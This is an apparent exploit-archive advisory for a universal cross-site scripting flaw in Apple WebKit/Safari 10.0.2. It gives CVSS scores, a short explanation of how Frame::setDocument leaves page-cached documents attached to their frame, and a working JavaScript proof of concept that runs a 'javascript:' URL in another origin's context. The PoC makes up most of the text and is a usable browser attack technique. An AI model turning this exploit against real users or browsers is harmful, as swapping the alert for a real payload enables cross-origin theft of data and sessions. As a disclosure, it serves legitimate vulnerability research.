Apple WebKit 10.0.2 'Frame::setDocument (1)' Universal Cross-Site Scripting

2017.04.05
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

<!-- void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this); if (m_doc && m_doc->pageCacheState() != Document::InPageCache) m_doc->prepareForDestruction(); m_doc = newDocument.copyRef(); ... } The function |prepareForDestruction| only called when the cache state is not |Document::InPageCache|. So the frame will be never detached from the cached document. PoC: --> "use strict"; document.write("click anywhere to start"); window.onclick = () => { let w = open("about:blank", "one"); let d = w.document; let a = d.createElement("a"); a.href = "https://abc.xyz/"; a.click(); <<------- about:blank -> Document::InPageCache let it = setInterval(() => { try { w.location.href.toString; } catch (e) { clearInterval(it); let s = d.createElement("a"); <<------ about:blank's document s.href = "javascript:alert(location)"; s.click(); } }, 0); }; <!-- Tested on Safari 10.0.2(12602.3.12.0.1). -->

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1056


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